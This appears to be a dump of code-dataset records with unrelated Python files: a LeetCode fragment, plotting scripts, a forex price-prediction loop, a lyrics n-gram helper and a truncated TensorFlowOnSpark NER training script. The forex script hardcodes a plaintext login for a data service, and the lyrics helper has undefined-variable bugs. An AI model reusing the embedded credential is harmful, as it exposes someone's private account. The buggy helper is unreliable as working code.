Solution()\nprint(s.minRemoveToMakeValid(\"lee(t(c)o)de)\"))\n","sub_path":"leetcode/2021/minimum-remove-to-make-valid-parentheses.py","file_name":"minimum-remove-to-make-valid-parentheses.py","file_ext":"py","file_size_in_byte":526,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"595740178","text":"import math\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nx = np.arange(-(2*np.pi),2*np.pi,0.1) # start,stop,step\ny = np.sin(x)\nz = np.cos(x - np.pi/2)\n\nplt.plot(x,y)\nplt.plot(x,z)\n\nplt.xlabel('numbers')\nplt.ylabel('cosine or sine values')\nplt.show()\n","sub_path":"math/sine_cosine.py","file_name":"sine_cosine.py","file_ext":"py","file_size_in_byte":259,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"244746136","text":"from sklearn.preprocessing import MinMaxScaler\nimport numpy\nimport truefx as tfx\nimport time\nfrom keras.models import load_model\nfrom pandas import read_csv, DatetimeIndex, to_datetime\nfrom datetime import datetime\nimport numpy as np\nfrom prettytable import PrettyTable\nimport sys\nimport csv\nfrom collections import OrderedDict\n\nMODEL_FILEPATH = \"models\\\\model.hdf5\"\nRECENT_STOCK_DATA_FILEPATH = 'recentStockHistory\\\\recentStockHistory.txt'\nFAKE_DATA_FILEPATH = 'input\\\\tradeFxData.txt'\nUSE_FAKE_DATA = True\n#USE_FAKE_DATA = False\nWINDOW_WIDTH = 120\nFORECAST_STEPS = 12\n#WINDOW_WIDTH = 360\n#FORECAST_STEPS = 12\nSAMPLE_INTERVAL = 5000\nLOTS_TO_BUY = 0.1\nBROKER_COMMISION = 0.0035\nLOT_VALUE = 100000\nEURO_TO_PLN = 4.19\nUSD_TO_PLN = 3.74\nFEATURE_COLUMNS = [1, 2, 3, 4, 5, 6, 7, 8, 9]\nTARGET_COLUMN = 6\n\nfakeReadIndex = 0\nfakeInput = None\ncreateNewHistoryFile = False\nhistoryFile = None\ninputWindow = list()\ntraitsCache = list()\npredictionsForFutureVerification = list()\n\ndef loadModel():\n return load_model(MODEL_FILEPATH)\n\ndef extractTimeFeatures(timestamp):\n dateTimeInMiliseconds = int(timestamp.astype(numpy.int64).item() / 1000000)\n month = timestamp.month[0]\n dayOfMonth = timestamp.day[0]\n dayOfWeek = timestamp.dayofweek[0]\n milisecondsInDay = timestamp.hour[0] * 60 * 60 * 1000 + timestamp.minute[0] * 60 * 1000 + timestamp.second[0] * 1000 + int(timestamp.microsecond[0] / 1000)\n\n return dateTimeInMiliseconds, month, dayOfMonth, dayOfWeek, milisecondsInDay\n\ndef fakeRead():\n global fakeReadIndex\n global fakeInput\n\n if fakeInput is None:\n fakeInput = read_csv(FAKE_DATA_FILEPATH, header = None).values\n\n fake_value = fakeInput[fakeReadIndex]\n\n dateTimeIndex = DatetimeIndex([to_datetime(fake_value[0], unit='ms')])\n\n timestamp, month, dayOfMonth, dayOfWeek, timeOfDay = extractTimeFeatures(dateTimeIndex)\n\n bid = fake_value[5]\n ask = fake_value[6]\n high = fake_value[7]\n low = fake_value[8]\n open = fake_value[9]\n\n fakeReadIndex += 1\n\n return timestamp, month, dayOfMonth, dayOfWeek, timeOfDay, bid, ask, high, low, open;\n\ndef realRead():\n session = tfx._get_session('-1')\n\n data = tfx.read('EUR/USD', username='rychu', password='namssik1', force_unregistered=False, session=session)\n\n dateTimeIndex = DatetimeIndex([data.Date.values[0]])\n\n timestamp, month, dayOfMonth, dayOfWeek, timeOfDay = extractTimeFeatures(dateTimeIndex)\n\n bid = data.Bid.values[0] + (data.Bid_point.values[0] / 100000)\n ask = data.Ask.values[0] + (data.Ask_point.values[0] / 100000)\n high = data.High.values[0]\n low = data.Low.values[0]\n open = data.Open.values[0]\n\n return timestamp, month, dayOfMonth, dayOfWeek, timeOfDay, bid, ask, high, low, open;\n\ndef printReadValues(traits):\n table = PrettyTable(['Feature', 'Value'])\n\n for key, value in traits.items():\n if key == 'Bid' or key == 'Ask' or key == 'High' or key == 'Low' or key == 'Open':\n value = '{:06.5f}'.format(value)\n\n table.add_row([key, value])\n\n table.align[\"Feature\"] = \"l\"\n table.align[\"Value\"] = \"r\"\n\n print(table)\n\ndef printCache():\n table = PrettyTable(['Timestamp', 'Month', 'Day of month', 'Day of week', 'Time of day', 'Bid', 'Ask', 'High', 'Low', 'Open'])\n\n for cacheEntry in traitsCache:\n timestamp = cacheEntry[0]\n month = cacheEntry[1]\n dayOfMonth = cacheEntry[2]\n dayOfWeek = cacheEntry[3]\n timeOfDay = cacheEntry[4]\n bid = '{:06.5f}'.format(cacheEntry[5])\n ask = '{:06.5f}'.format(cacheEntry[6])\n high = '{:06.5f}'.format(cacheEntry[7])\n Low = '{:06.5f}'.format(cacheEntry[8])\n open = '{:06.5f}'.format(cacheEntry[9])\n\n table.add_row([timestamp, month, dayOfMonth, dayOfWeek, timeOfDay, bid, ask, high, Low, open])\n\n table.align = 'r'\n\n print(table)\n\n\ndef printPredictionsPendingVerification():\n global predictionsForFutureVerification\n\n table = PrettyTable(['Predicted at', 'Predicted value', 'Predicted for', 'Predicted Yield'])\n\n for entry in predictionsForFutureVerification:\n predictedFor = entry[0]\n predictedValue = '{:06.5f}'.format(entry[1])\n predictedAt = entry[2]\n predictedYield = entry[3]\n\n table.add_row([predictedAt, predictedValue, predictedFor, predictedYield])\n\n print(table)\n\ndef printVerifiedPredictions(verifiedPredictions):\n if len(verifiedPredictions) == 0:\n return\n\n table = PrettyTable(['Predicted at', 'Predicted value', 'Predicted for', 'Real value', 'Prediction error', 'Predicted yield', 'Real yield', 'Yield difference'])\n\n for entry in verifiedPredictions:\n predictedFor = entry[2]\n predictedValue = '{:06.5f}'.format(entry[1])\n predictedAt = entry[0]\n realValue = '{:06.5f}'.format(entry[3])\n predictionError = '{}'.format(entry[1] - entry[3])\n predictedYield = '{}'.format(entry[4])\n realYiedl = '{}'.format(entry[5])\n yieldDifference = '{}'.format(entry[6])\n\n table.add_row([predictedAt, predictedValue, predictedFor, realValue, predictionError, predictedYield, realYiedl, yieldDifference])\n\n print(table)\n\ndef printInputWindow(input):\n table = PrettyTable(['Month', 'Day of month', 'Day of week', 'Time of day', 'Bid', 'Ask', 'High', 'Low', 'Open'])\n\n for windowEntry in input:\n month = windowEntry[0]\n dayOfMonth = windowEntry[1]\n dayOfWeek = windowEntry[2]\n timeOfDay = windowEntry[3]\n bid = '{:06.5f}'.format(windowEntry[4])\n ask = '{:06.5f}'.format(windowEntry[5])\n high = '{:06.5f}'.format(windowEntry[6])\n Low = '{:06.5f}'.format(windowEntry[7])\n open = '{:06.5f}'.format(windowEntry[8])\n\n table.add_row([month, dayOfMonth, dayOfWeek, timeOfDay, bid, ask, high, Low, open])\n\n table.align = 'r'\n\n print(table)\n\ndef printNormalizedInputWindow(input):\n table = PrettyTable(['Month', 'Day of month', 'Day of week', 'Time of day', 'Bid', 'Ask', 'High', 'Low', 'Open'])\n\n for windowEntry in input:\n month = windowEntry[0]\n dayOfMonth = windowEntry[1]\n dayOfWeek = windowEntry[2]\n timeOfDay = windowEntry[3]\n bid = '{:06.5f}'.format(windowEntry[4])\n ask = '{:06.5f}'.format(windowEntry[5])\n high = '{:06.5f}'.format(windowEntry[6])\n Low = '{:06.5f}'.format(windowEntry[7])\n open = '{:06.5f}'.format(windowEntry[8])\n\n table.add_row([month, dayOfMonth, dayOfWeek, timeOfDay, bid, ask, high, Low, open])\n\n table.align = 'r'\n\n print(table)\n\nreadValuesCache = list()\n\ndef read(readAt):\n global readValuesCache\n\n readAt = to_datetime(readAt)\n\n readAt = DatetimeIndex([readAt])\n\n readAtInMiliseconds = int(readAt.astype(numpy.int64).item() / 1000000)\n\n while True:\n time.sleep(0.01)\n\n timestamp, month, dayOfMonth, dayOfWeek, timeOfDay, bid, ask, high, low, open = fakeRead() if USE_FAKE_DATA else realRead()\n\n readValuesCache.append([timestamp, month, dayOfMonth, dayOfWeek, timeOfDay, bid, ask, high, low, open])\n\n usedTimestampInCache = None\n\n for i in range(len(readValuesCache)):\n readValuesCacheEntry = readValuesCache[i]\n\n if readValuesCacheEntry[0] == readAtInMiliseconds:\n bid = readValuesCacheEntry[5]\n ask = readValuesCacheEntry[6]\n high = readValuesCacheEntry[7]\n low = readValuesCacheEntry[8]\n open = readValuesCacheEntry[9]\n\n usedTimestampInCache = readAtInMiliseconds\n\n break;\n\n if readValuesCacheEntry[0] > readAtInMiliseconds:\n previousReadValuesCacheEntry = readValuesCache[i - 1]\n\n timestamp, month, dayOfMonth, dayOfWeek, timeOfDay = extractTimeFeatures(readAt)\n bid = previousReadValuesCacheEntry[5]\n ask = previousReadValuesCacheEntry[6]\n high = previousReadValuesCacheEntry[7]\n low = previousReadValuesCacheEntry[8]\n open = previousReadValuesCacheEntry[9]\n\n usedTimestampInCache = previousReadValuesCacheEntry[0]\n\n break\n\n if usedTimestampInCache is None:\n continue\n\n updatedReadValuesFromCache = list()\n\n for i in range(len(readValuesCache)):\n readValuesCacheEntry = readValuesCache[i]\n\n if readValuesCacheEntry[0] >= usedTimestampInCache:\n updatedReadValuesFromCache.append(readValuesCacheEntry)\n\n readValuesCache = updatedReadValuesFromCache\n\n bid = round(bid, 5)\n ask = round(ask, 5)\n high = round(high, 5)\n low = round(low, 5)\n open = round(open, 5)\n\n traits = OrderedDict([('Timestamp', timestamp), ('Month', month), ('Day of month', dayOfMonth), ('Day of week', dayOfWeek), ('Time of day', timeOfDay), ('Bid', bid), ('Ask', ask), ('High', high), ('Low', low), ('Open', open)])\n\n printReadValues(traits)\n\n return traits\n\ndef store(traits):\n global createNewHistoryFile\n\n mode = 'a'\n\n if createNewHistoryFile:\n mode = 'w'\n createNewHistoryFile = False\n \n with open(RECENT_STOCK_DATA_FILEPATH, mode, newline='') as csv_file:\n writer = csv.writer(csv_file, delimiter=',')\n writer.writerow(traits.values())\n\n return 0\n\ndef normalizeWindow(window):\n scaler = MinMaxScaler(feature_range = (-1, 1))\n\n for i in range(len(FEATURE_COLUMNS)):\n featuresList = window[i]\n\n temp = numpy.array(featuresList).reshape((len(featuresList), 1))\n\n scaler.partial_fit(temp)\n\n de = numpy.array(window).reshape((len(window), len(FEATURE_COLUMNS)))\n\n normalizedWindow = scaler.transform(de)\n\n return scaler, normalizedWindow\n\ndef normalizeTimeFeatures(featureWindow):\n for windowEntry in featureWindow:\n windowEntry[0] = windowEntry[0] / 12.0\n windowEntry[1] = windowEntry[1] / 31.0\n windowEntry[2] = windowEntry[2] / 7.0\n windowEntry[3] = windowEntry[3] / (24.0 * 60.0 * 60.0 * 1000.0)\n\n return featureWindow\n\ndef preparePredictionInput(traits):\n global inputWindow\n\n onlyFeatures = [list(traits.values())[i] for i in FEATURE_COLUMNS]\n\n inputWindow.append(onlyFeatures)\n\n if len(inputWindow) > WINDOW_WIDTH:\n del inputWindow[0]\n\n if len(inputWindow) < WINDOW_WIDTH:\n return None, None\n\n printInputWindow(inputWindow)\n\n inputWindow = normalizeTimeFeatures(inputWindow)\n\n printInputWindow(inputWindow)\n\n scaler, normalizedWindow = normalizeWindow(inputWindow)\n\n return scaler, normalizedWindow\n\ndef predictBid(model, traits):\n scaler, input = preparePredictionInput(traits)\n\n if input is None:\n return None, None\n \n numpyInput = numpy.array(input)\n\n dupa = numpyInput.reshape(1, numpyInput.shape[0], -1)\n\n printNormalizedInputWindow(input)\n\n prediction = model.predict(dupa)\n\n temp = numpy.array(prediction).reshape((len(prediction), 1))\n\n realPrediction = scaler.inverse_transform(temp)[0][0]\n\n return realPrediction, traits.get('Timestamp') + 0.5 * 60 * 1000\n\ndef plot(traits, prediction):\n return 0\n\ndef parseArguments():\n global createNewHistoryFile\n\n if len(sys.argv) > 1:\n if sys.argv[1] == '-c':\n createNewHistoryFile = True\n\ndef saveToCache(traits):\n global traitsCache\n\n traitsCache.append(list(traits.values()))\n\n printCache()\n\ndef findTargetInCacheAt(at):\n global traitsCache\n\n for i in range(len(traitsCache)):\n traitsEntry = traitsCache[i]\n timestamp = traitsEntry[0]\n\n if(timestamp == at):\n return traitsEntry[TARGET_COLUMN]\n\n return None\n\ndef collectForFutureVerification(prediction, atTime, verificationTimestamp, predictedYield, askValue):\n global predictionsForFutureVerification\n\n predictionsForFutureVerification.append([verificationTimestamp, prediction, atTime, predictedYield, askValue])\n\n printPredictionsPendingVerification()\n\ndef verifyPredictions():\n global predictionsForFutureVerification\n\n updated = list()\n\n verifiedPredictions = list()\n\n for i in range(len(predictionsForFutureVerification)):\n verificationTimestamp = predictionsForFutureVerification[i][0]\n\n realValue = findTargetInCacheAt(verificationTimestamp)\n\n if realValue != None:\n predictedBid = predictionsForFutureVerification[i][1]\n predictionTimestamp = predictionsForFutureVerification[i][2]\n predictedYield = predictionsForFutureVerification[i][3]\n askValue = predictionsForFutureVerification[i][4]\n realYield = computeYield(realValue - askValue)\n yieldDifference = realYield - predictedYield\n\n verifiedPredictions.append([predictionTimestamp, predictedBid, verificationTimestamp, realValue, predictedYield, realYield, yieldDifference])\n else:\n updated.append(predictionsForFutureVerification[i])\n\n printVerifiedPredictions(verifiedPredictions)\n\n predictionsForFutureVerification = updated\n\ndef findSmallestPredictionFor():\n firstTime = True\n result = None\n\n for pred in predictionsForFutureVerification:\n verificationTimestamp = pred[0]\n\n if firstTime:\n result = verificationTimestamp\n firstTime = False\n else:\n if verificationTimestamp < result:\n result = verificationTimestamp\n\n return result\n\ndef findFirstSmallerValueThatInCache(value):\n firstTime = True\n result = None\n\n for cacheEntry in traitsCache:\n timestamp = cacheEntry[0]\n\n if firstTime:\n result = timestamp\n firstTime = False\n else:\n if timestamp < value and timestamp > result:\n result = timestamp\n\n return result\n\ndef removeRedundantCacheEntries():\n global traitsCache\n\n smallestPredictionFor = findSmallestPredictionFor()\n\n if smallestPredictionFor is None:\n return\n\n firstLowerValueThanSmallestPredictionFor = findFirstSmallerValueThatInCache(smallestPredictionFor)\n\n updatedTraitsCache = list()\n\n for cacheEntry in traitsCache:\n timestamp = cacheEntry[0]\n\n if timestamp >= firstLowerValueThanSmallestPredictionFor:\n updatedTraitsCache.append(cacheEntry)\n\n traitsCache = updatedTraitsCache\n\ndef calculateCommission():\n commissionInBaseCurrency = LOTS_TO_BUY * LOT_VALUE * (BROKER_COMMISION / 100) * 2\n\n counterCurrencyToPlnRatio = EURO_TO_PLN\n\n return commissionInBaseCurrency * counterCurrencyToPlnRatio\n\ndef calculateYieldWithoutCommision(priceDifference):\n baseCurrencyToPlnRatio = USD_TO_PLN\n\n return priceDifference * LOTS_TO_BUY * LOT_VALUE * baseCurrencyToPlnRatio\n\ndef computeYield(priceDifference):\n yieldWithoutCommission = calculateYieldWithoutCommision(priceDifference)\n\n commision = calculateCommission()\n\n return yieldWithoutCommission - commision\n\ndef computeInitialReadTimestamp():\n current = numpy.datetime64(datetime.utcnow())\n\n now = to_datetime(current)\n\n dateTimeIndex = getFirstTimestampInFakeInput() if USE_FAKE_DATA else DatetimeIndex([now])\n\n dateTimeInMiliseconds = int(dateTimeIndex.astype(numpy.int64).item() / 1000000)\n\n dupa = dateTimeInMiliseconds + SAMPLE_INTERVAL * 2 - ((dateTimeInMiliseconds + SAMPLE_INTERVAL) % SAMPLE_INTERVAL)\n\n df = to_datetime(dupa, unit='ms')\n\n return df\n\ndef getFirstTimestampInFakeInput():\n global fakeInput\n\n if fakeInput is None:\n fakeInput = read_csv(FAKE_DATA_FILEPATH, header = None).values\n\n fake_value = fakeInput[0]\n\n return DatetimeIndex([to_datetime(fake_value[0], unit='ms')])\n\n#####################################################\n\nparseArguments()\n\nmodel = loadModel()\n\nreadAt = computeInitialReadTimestamp()\n\nwhile True:\n traits = read(readAt)\n\n readAt += numpy.timedelta64(SAMPLE_INTERVAL,'ms')\n\n saveToCache(traits)\n\n store(traits)\n\n verifyPredictions()\n\n removeRedundantCacheEntries()\n\n predictedBid, verificationTimestamp = predictBid(model, traits)\n\n if predictedBid is None:\n continue\n\n predictedYield = computeYield(predictedBid - traits.get('Ask'))\n\n collectForFutureVerification(predictedBid, traits.get('Timestamp'), verificationTimestamp, predictedYield, traits.get('Ask'))\n\n plot(traits, predictedBid)","sub_path":"3Script.py","file_name":"3Script.py","file_ext":"py","file_size_in_byte":16353,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"442421374","text":"from api.search_api import get_artist\nfrom spacy.lang.en import English\nimport string\nfrom tqdm.notebook import tqdm\n\nnlp = English()\ntokenizer = nlp.tokenizer\n\n\ndef get_average_song_length(artist_name, num_songs=5):\n artist = get_artist(artist_name, num_songs)\n result = []\n for s in artist.songs:\n lines = s.lyrics.split(\"\\n\")\n print(line)\n result.append(\"\")\n for line in lines:\n for w in tokenizer(line.strip().lower()):\n if w.text not in string.punctuation:\n result.append(w.text)\n result.append(\"\")\n print(\"\\n\")\n return result\n\n# Get a certain n-gram:\ndef get_ngrams(input_list, n):\n ngrams = {}\n for i in range(len(input_list) - (n - 1)):\n t = tuple(input_list[i:i + n])\n ngrams[t] = ngrams.get(t, 0) + 1\n return ngrams\n\n\n# Get up to n-gram:\ndef get_upto_ngrams(input_list, n):\n ngrams = {}\n for i in range(1, n + 1):\n ngrams[i] = get_ngrams(input_list, i)\n return ngrams\n\n\n# ngram is all the possible gram\n# term is a tuple (A, B),\n# len(term) == 1 -> unigram\n# len(term) > 1-> has term needs to be calculated B, given term A (A is a tuple):\ndef calculate_prob(ngram, term):\n if len(term) == 1:\n a = sum([s for s in ngram[1].values()])\n b = ngram[1][term]\n result = ngram[1][term] / sum([s for s in ngram[1].values()])\n return result\n # else:\n else:\n A = term[:-1] # n-1 gram\n if len(term) > len(ngram):\n return None\n return ngram[len(term)][term] / ngram[len(A)][A]\n\n\nif __name__ == \"__main__\":\n lyrics = sa.get_lyrics(\"Lady Gaga\", 3)\n l = get_ngrams(lyrics, 2)\n print(l)\n lyrics = get_average_song_length(\"Lady Gaga\",1)\n","sub_path":"api/ulti.py","file_name":"ulti.py","file_ext":"py","file_size_in_byte":1759,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"101027457","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Sep 11 09:41:51 2019\n\n@author: RenXiaochen\n\"\"\"\n\nimport matplotlib.pyplot as plt\nfrom sklearn import datasets\nimport numpy as np\ndataset = datasets.load_iris()\nx = dataset.data\ntarget = dataset.target\n\nplot_data = x[:,0:2]\n#散点图\nplt.scatter(plot_data[:,0],plot_data[:,1])\nplt.xlabel('x')#x轴标签\nplt.ylabel('y')#y轴标签\nplt.title('dot')#设置标题\nplt.show()\n\n#折线图\nplt.plot(range(0,50),plot_data[0:50,0])\nplt.xticks(rotation=45)#旋转x轴刻度\nplt.xlabel('x')#x轴标签\nplt.ylabel('y')#y轴标签\nplt.title('line')#设置标题\nplt.show()\n\n#柱状图\npie_data = {}\npie_list = []\ntarget=list(target)\nset_temp = set(target)\nfor item in set_temp:\n pie_data.update({item:target.count(item)})\n pie_list.append([item,target.count(item)])\npie_list = np.array(pie_list)\nplt.bar(range(len(pie_list[:,1])), pie_list[:,1])\nplt.show()\n\n#箱型图\nplt.boxplot(plot_data[:,0])\nplt.show()\n\n#饼状图\npie_data = {}\npie_list = []\ntarget=list(target)\nset_temp = set(target)\nfor item in set_temp:\n pie_data.update({item:target.count(item)})\n pie_list.append([item,target.count(item)])\npie_list = np.array(pie_list)\nplt.pie(pie_list[:,1],labels=pie_list[:,0])\n","sub_path":"matplotlib_base_graph.py","file_name":"matplotlib_base_graph.py","file_ext":"py","file_size_in_byte":1219,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"523549154","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\n\ndef print_log(worker_num, arg):\n print(\"%d: \" % worker_num, end=\" \")\n print(arg)\n\n\ndef map_fun(args, ctx):\n from datetime import datetime\n import numpy as np\n import tensorflow as tf\n import time\n\n worker_num = ctx.worker_num\n job_name = ctx.job_name\n task_index = ctx.task_index\n cluster_spec = ctx.cluster_spec\n num_workers = len(cluster_spec['worker'])\n\n # Delay PS nodes a bit, since workers seem to reserve GPUs more quickly/reliably (w/o conflict)\n if job_name == \"ps\":\n time.sleep((worker_num + 1) * 5)\n\n # Parameters\n IMAGE_PIXELS = 28\n hidden_units = 128\n\n # Get TF cluster and server instances\n cluster, server = ctx.start_cluster_server(1, args.rdma)\n\n def get_chunk_type(tok, idx_to_tag):\n \"\"\"\n Args:\n tok: id of token, ex 4\n idx_to_tag: dictionary {4: \"B-PER\", ...}\n\n Returns:\n tuple: \"B\", \"PER\"\n\n \"\"\"\n tag_name = idx_to_tag[tok]\n tag_class = tag_name.split('-')[0]\n tag_type = tag_name.split('-')[-1]\n return tag_class, tag_type\n\n def get_chunks(seq, tags):\n \"\"\"Given a sequence of tags, group entities and their position\n\n Args:\n seq: [4, 4, 0, 0, ...] sequence of labels\n tags: dict[\"O\"] = 4\n\n Returns:\n list of (chunk_type, chunk_start, chunk_end)\n\n Example:\n seq = [4, 5, 0, 3]\n tags = {\"B-PER\": 4, \"I-PER\": 5, \"B-LOC\": 3}\n result = [(\"PER\", 0, 2), (\"LOC\", 3, 4)]\n\n \"\"\"\n default = tags[\"O\"]\n idx_to_tag = {idx: tag for tag, idx in tags.items()}\n chunks = []\n chunk_type, chunk_start = None, None\n for i, tok in enumerate(seq):\n # End of a chunk 1\n if tok == default and chunk_type is not None:\n # Add a chunk.\n chunk = (chunk_type, chunk_start, i)\n chunks.append(chunk)\n chunk_type, chunk_start = None, None\n\n # End of a chunk + start of a chunk!\n elif tok != default:\n tok_chunk_class, tok_chunk_type = get_chunk_type(tok, idx_to_tag)\n if chunk_type is None:\n chunk_type, chunk_start = tok_chunk_type, i\n elif tok_chunk_type != chunk_type or tok_chunk_class == \"B\":\n chunk = (chunk_type, chunk_start, i)\n chunks.append(chunk)\n chunk_type, chunk_start = tok_chunk_type, i\n else:\n pass\n\n # end condition\n if chunk_type is not None:\n chunk = (chunk_type, chunk_start, len(seq))\n chunks.append(chunk)\n\n return chunks\n\n def _pad_sequences(sequences, pad_tok, max_length):\n \"\"\"\n Args:\n sequences: a generator of list or tuple\n pad_tok: the char to pad with\n\n Returns:\n a list of list where each sublist has same length\n \"\"\"\n sequence_padded, sequence_length = [], []\n\n for seq in sequences:\n seq = list(seq)\n seq_ = seq[:max_length] + [pad_tok] * max(max_length - len(seq), 0)\n sequence_padded += [seq_]\n sequence_length += [min(len(seq), max_length)]\n\n return sequence_padded, sequence_length\n\n def pad_sequences(sequences, pad_tok, nlevels=1):\n \"\"\"\n Args:\n sequences: a generator of list or tuple\n pad_tok: the char to pad with\n nlevels: \"depth\" of padding, for the case where we have characters ids\n\n Returns:\n a list of list where each sublist has same length\n\n \"\"\"\n if nlevels == 1:\n max_length = max(map(lambda x: len(x), sequences))\n sequence_padded, sequence_length = _pad_sequences(sequences,\n pad_tok, max_length)\n\n elif nlevels == 2:\n max_length_word = max([max(map(lambda x: len(x), seq))\n for seq in sequences])\n sequence_padded, sequence_length = [], []\n for seq in sequences:\n # all words are same length now\n sp, sl = _pad_sequences(seq, pad_tok, max_length_word)\n sequence_padded += [sp]\n sequence_length += [sl]\n\n max_length_sentence = max(map(lambda x: len(x), sequences))\n sequence_padded, _ = _pad_sequences(sequence_padded,\n [pad_tok] * max_length_word, max_length_sentence)\n sequence_length, _ = _pad_sequences(sequence_length, 0,\n max_length_sentence)\n\n return sequence_padded, sequence_length\n\n def feed_dict(batch):\n words, tags = [], []\n for item in batch:\n words.append(item[0])\n tags.append(item[1])\n\n char_ids, word_ids = zip(*words)\n word_ids, sequence_lengths = pad_sequences(word_ids, 0)\n char_ids, word_lengths = pad_sequences(char_ids, pad_tok=0,\n nlevels=2)\n labels, _ = pad_sequences(tags, 0)\n\n return (word_ids, sequence_lengths, char_ids, word_lengths, labels, 0.005, 0.68), sequence_lengths\n\n if job_name == \"ps\":\n server.join()\n elif job_name == \"worker\":\n # Assigns ops to the local worker by default.\n with tf.device(tf.train.replica_device_setter(\n worker_device=\"/job:worker/task:%d\" % task_index,\n cluster=cluster)):\n\n # shape = (batch size, max length of sentence in batch)\n word_ids = tf.placeholder(tf.int32, shape=[None, None],\n name=\"word_ids\")\n\n # shape = (batch size)\n sequence_lengths = tf.placeholder(tf.int32, shape=[None],\n name=\"sequence_lengths\")\n\n # shape = (batch size, max length of sentence, max length of word)\n char_ids = tf.placeholder(tf.int32, shape=[None, None, None],\n name=\"char_ids\")\n\n # shape = (batch_size, max_length of sentence)\n word_lengths = tf.placeholder(tf.int32, shape=[None, None],\n name=\"word_lengths\")\n\n # shape = (batch size, max length of sentence in batch)\n labels = tf.placeholder(tf.int32, shape=[None, None],\n name=\"labels\")\n\n # hyper parameters\n dropout = tf.placeholder(dtype=tf.float32, shape=[],\n name=\"dropout\")\n lr = tf.placeholder(dtype=tf.float32, shape=[],\n name=\"lr\")\n\n # read word_embeding from file\n with np.load('/home/ubuntu/PIE/output/embedding.npz') as f:\n word_embeddings = f['word_embeddings']\n char_embeddings = f['char_embeddings']\n dim_char = 50\n hidden_size_char = 100\n hidden_size_lstm = 100\n ntags = 18 # rneed to read tags.txt\n\n with tf.variable_scope(\"words\"):\n _word_embeddings = tf.Variable(\n word_embeddings,\n name=\"_word_embeddings\",\n dtype=tf.float32,\n trainable=False)\n\n word_embeddings = tf.nn.embedding_lookup(_word_embeddings,\n word_ids, name=\"word_embeddings\")\n\n with tf.variable_scope(\"chars\"):\n # get char embeddings matrix\n _char_embeddings = tf.Variable(\n char_embeddings,\n name=\"_char_embeddings\",\n dtype=tf.float32,\n trainable=False)\n\n char_embeddings = tf.nn.embedding_lookup(_char_embeddings,\n char_ids, name=\"char_embeddings\")\n\n # put the time dimension on axis=1\n s = tf.shape(char_embeddings)\n char_embeddings = tf.reshape(char_embeddings,\n shape=[s[0] * s[1], s[-2], dim_char], name=\"char_embeddubg_reshape\")\n _word_lengths = tf.reshape(word_lengths, shape=[s[0] * s[1]])\n\n # bi lstm on chars\n cell_fw = tf.contrib.rnn.LSTMCell(hidden_size_char,\n state_is_tuple=True)\n cell_bw = tf.contrib.rnn.LSTMCell(hidden_size_char,\n state_is_tuple=True)\n _output = tf.nn.bidirectional_dynamic_rnn(\n cell_fw, cell_bw, char_embeddings,\n sequence_length=_word_lengths, dtype=tf.float32)\n\n # read and concat output\n _, ((_, output_fw), (_, output_bw)) = _output\n output = tf.concat([output_fw, output_bw], axis=-1)\n\n # shape = (batch size, max sentence length, char hidden size)\n output = tf.reshape(output,\n shape=[s[0], s[1], 2 * hidden_size_char])\n word_embeddings = tf.concat([word_embeddings, output], axis=-1)\n\n word_embeddings = tf.nn.dropout(word_embeddings, dropout)\n\n with tf.variable_scope(\"bi-lstm\"):\n cell_fw = tf.contrib.rnn.LSTMCell(hidden_size_lstm)\n cell_bw = tf.contrib.rnn.LSTMCell(hidden_size_lstm)\n (output_fw, output_bw), _ = tf.nn.bidirectional_dynamic_rnn(\n cell_fw, cell_bw, word_embeddings,\n sequence_length=sequence_lengths, dtype=tf.float32)\n output = tf.concat([output_fw, output_bw], axis=-1)\n output = tf.nn.dropout(output, dropout)\n\n with tf.variable_scope(\"proj\"):\n W = tf.get_variable(\"W\", dtype=tf.float32,\n shape=[2 * hidden_size_lstm, ntags])\n\n b = tf.get_variable(\"b\", shape=[ntags],\n dtype=tf.float32, initializer=tf.zeros_initializer())\n\n nsteps = tf.shape(output)[1]\n output = tf.reshape(output, [-1, 2 * hidden_size_lstm])\n pred = tf.matmul(output, W) + b\n logits = tf.reshape(pred, [-1, nsteps, ntags])\n\n log_likelihood, trans_params = tf.contrib.crf.crf_log_likelihood(\n logits, labels, sequence_lengths)\n loss = tf.reduce_mean(-log_likelihood)\n tf.summary.scalar(\"loss\", loss)\n\n global_step = tf.train.get_or_create_global_step()\n train_op = tf.train.AdamOptimizer(lr).minimize(loss, global_step=global_step)\n\n saver = tf.train.Saver()\n summary_op = tf.summary.merge_all()\n init_op = tf.global_variables_initializer()\n\n # Create a \"supervisor\", which oversees the training process and stores model state into HDFS\n logdir = ctx.absolute_path(args.model)\n print(\"tensorflow model path: {0}\".format(logdir))\n hooks = [tf.train.StopAtStepHook(last_step=100000)]\n\n if job_name == \"worker\" and task_index == 0:\n summary_writer = tf.summary.FileWriter(logdir, graph=tf.get_default_graph())\n\n # The supervisor takes care of session initialization, restoring from\n # a checkpoint, and closing when done or an error occurs.\n with tf.train.MonitoredTrainingSession(master=server.target,\n is_chief=(task_index == 0),\n checkpoint_dir=logdir,\n hooks=hooks) as sess:\n print(\"{0} session ready\".format(datetime.now().isoformat()))\n\n # Loop until the supervisor shuts down or 1000000 steps have completed.\n step = 0\n count = 0\n tf_feed = ctx.get_data_feed(args.mode == \"train\")\n\n accs = []\n correct_preds, total_correct, total_preds = 0., 0., 0.\n with open('/home/ubuntu/PIE/output/tags.txt', mode='r', encoding='UTF-8') as f:\n vocab_tags = {tag.strip(): idx for idx, tag in enumerate(f)}\n\n while not sess.should_stop() and not tf_feed.should_stop() and step < args.steps:\n # Run a training step asynchronously.\n # See `tf.train.SyncReplicasOptimizer` for additional details on how to\n # perform *synchronous* training.\n\n feed, _ = feed_dict(tf_feed.next_batch(args.batch_size))\n feeeed = {\n word_ids: feed[0],\n sequence_lengths: feed[1],\n char_ids: feed[2],\n word_lengths: feed[3],\n labels: feed[4],\n lr: 0.005,\n dropout: 0.68 if args.mode == 'train' else 1.0\n }\n # Test trained model\n\n\n\n\n\n\n # using QueueRunners/Readers\n if args.mode == 